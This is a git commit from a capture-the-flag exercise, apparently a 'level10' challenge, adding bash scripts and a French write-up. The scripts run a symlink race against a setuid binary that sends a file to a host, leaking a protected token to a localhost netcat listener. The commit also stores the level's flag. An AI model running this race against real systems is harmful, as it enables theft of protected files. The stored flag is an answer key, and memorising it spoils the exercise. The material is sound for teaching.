This commit is contained in:
Lapin 2021-01-28 00:31:31 +01:00
parent abcaa3fab1
commit 059496d5c2
5 changed files with 85 additions and 0 deletions

View File

@ -0,0 +1,6 @@
# launch the executable
while [ 1 ]
do
/home/user/level10/level10 /tmp/link 127.0.0.1
done

View File

@ -0,0 +1,9 @@
while [ 1 ]
rm -rf /tmp/toto
touch /tmp/toto
do
ln -s -f /tmp/toto /tmp/link
ln -s -f /home/user/level10/token /tmp/link
done

View File

@ -0,0 +1,10 @@
# in case the file /tmp/toto was send,
# the connection is closed but the file
# wasn't the one we expect, then the netcat server is relaunch.
# all the output not wanted are cleaned
while [ 1 ]
do
# nc -lv 127.0.0.1 6969 2>/dev/null | grep -v ".*( )*."
nc -lv 127.0.0.1 6969 2>/dev/null
done

View File

@ -0,0 +1,59 @@
La encore il y a un executable "level10" et un fichier "token"
$ ls
> -rwsr-sr-x+ 1 flag10 level10 10817 Mar 5 2016 level10*
> -rw------- 1 flag10 flag10 26 Mar 5 2016 token
$ ./level10
> ./level10 file host
> sends file to host if you have access to it
on en deduit naturelement qu'il faut donner en argument a ./level10 un fichier et un host
$ ./level10 token 127.0.0.1
You don't have access to token
On cree alors un liens symbolique comme dans le level08:
$ ln -s /home/user/level10/token /tmp/link
> You don't have access to /tmp/link
Tristesse intersideral, il faut donc reflechir
Pour comprendre ce qui ce passerai dans le cas ou l'on aurait les droit on cree un fichier
On va cree un fichier cacher pour qu'il ne se fasse pas suprimer par la tach cron
$ echo "Ceci est un fichier que je peux lire correctement" >> /tmp/.test
$ ./level10 /tmp/.test 127.0.0.1
> Connecting to 127.0.0.1:6969 .. Unable to connect to host 127.0.0.1
Damn, il n'y a pas de serveur... Qu'à cela ne tienne on va ecouter avec netcat
On ouvre une deuxieme fenenetre + connexion ssh pour ecouter avec netcat puis on relance level10
$ nc -lv 127.0.0.1 6969
> Connection from 127.0.0.1 port 6969 [tcp/*] accepted
> .*( )*.
> Ceci est un fichier que je peux lire correctement
On peut donc lire le fichier que l'on passe en parametre
Apres quelques errance sur les liens symbolique l'idee des tester des "Race condition" ou "Symlink race" est unr piste
Le plus logique est de le faire un bash. Pour que la race condition fonction il faut les lancer dans deux proces different.
On va donc lancer 3 script bash dans 3 connexion ssh different.
Le premier script va cree un lien symbolic vers un fichier vide sur lequel on a les droit Puis le meme lien synbolic sur token. et tout ca en boucle avec -f pour ecraser le lien existant.
Le deuxieme va lancer l'executable level10 avec les bon argument
Enfin le dernier va lancer des serveur netcat en boucle car on va aussi recevoir le fichier vide, il faudra alor relancer netcat
pour ca on copy les script shell depuis Resource sur la vm:
$ scp -r -P 4242 level10/Ressource level10@127.0.0.2:/tmp/.level10/
On lance chaque script dans une connection et le tour est jouer
(Oui la derscription de ce level est tres verbeuse)

1
level10/flag Normal file
View File

@ -0,0 +1 @@
feulo4b72j7edeahuete3no7c